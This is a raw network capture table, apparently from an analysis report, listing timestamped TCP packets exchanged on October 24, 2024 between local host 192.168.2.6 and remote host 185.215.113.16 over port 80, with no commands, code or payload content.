Oct 24, 2024 18:09:13.134727001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134727955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134754896 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134766102 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134788990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134804010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134824038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134840012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134856939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134864092 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134891987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134907961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134952068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.135040045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.135073900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.135108948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.135286093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.135287046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.135287046 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168134928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168355942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168363094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168417931 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168420076 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168457031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168462992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168490887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168500900 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168528080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168540955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168562889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168576956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168598890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168611050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168632030 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168646097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168667078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168678999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168699980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168715954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168735027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168747902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168768883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168781996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168802023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168816090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168834925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168848991 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168869019 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168875933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168904066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168910980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168943882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.168945074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.168987036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169203043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169255018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169255972 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169306993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169325113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169342041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169357061 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169377089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169384003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169410944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169421911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169456005 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169671059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169708967 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169717073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169743061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169749975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169775963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.169791937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.169816017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214369059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214437962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214473009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214505911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214540005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214549065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214550018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214550018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214550018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214575052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214607954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214632034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214632034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214659929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214660883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214713097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214715958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214745998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214766026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214780092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214791059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214812994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214832067 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214848042 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214855909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214880943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214894056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214925051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.214948893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.214977980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215042114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215092897 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215096951 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215126991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215151072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215159893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215182066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215194941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215202093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215233088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215265036 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215286970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215481997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215514898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215537071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215549946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215555906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215603113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215702057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215753078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215755939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215787888 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215806961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215822935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215837002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215857983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.215878010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.215902090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.216021061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.216072083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.216094971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.216118097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.216123104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.216156960 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.216182947 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.216190100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.216206074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.216226101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.216234922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.216284990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.253876925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.253950119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254002094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254053116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254072905 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254074097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254074097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254087925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254122019 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254151106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254151106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254157066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254179955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254194021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254214048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254230022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254241943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254264116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254292011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254297972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254312992 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254333019 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254350901 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254369020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254394054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254403114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254412889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254453897 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254462004 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254486084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.254514933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.254539013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287395000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287447929 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287494898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287494898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287503958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287538052 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287561893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287573099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287604094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287606001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287626028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287641048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287656069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287674904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287700891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287714005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287728071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287750006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287765026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287786961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287801027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287826061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287841082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287863970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287864923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287898064 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287915945 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287934065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.287945986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.287970066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288007021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288007021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288043976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288043976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288043976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288100958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288227081 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288280010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288285017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288330078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288331985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288379908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288409948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288414001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288434029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288448095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288471937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288484097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288492918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288521051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288533926 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288552046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.288573027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288608074 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.288953066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.289006948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.289019108 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.289037943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.289060116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.289081097 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.289091110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.289124012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.289174080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.289174080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333525896 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333594084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333630085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333662033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333694935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333728075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333774090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333780050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333774090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333774090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333774090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333774090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333775043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333815098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333852053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333873987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333874941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333887100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333904028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333924055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.333939075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.333966970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334028006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.334060907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.334089041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334095001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.334124088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334144115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334192038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.334227085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.334259033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.334404945 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334404945 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334405899 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.334995031 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335028887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335072041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335131884 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335133076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335133076 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335197926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335231066 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335247993 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335267067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335278988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335302114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335339069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335339069 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335351944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335386038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335391998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335422993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335433960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335458040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335464954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335530043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335536003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335568905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335591078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335602045 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335616112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335635900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335664034 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335675955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335683107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335710049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335721970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335743904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335761070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335778952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335793018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335817099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.335823059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.335874081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373059988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373122931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373157024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373189926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373226881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373226881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373226881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373226881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373241901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373295069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373317003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373331070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373346090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373363972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373372078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373399019 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.373404980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.373433113 CEST	80	49994	185.215.113.16	192.168.2.6
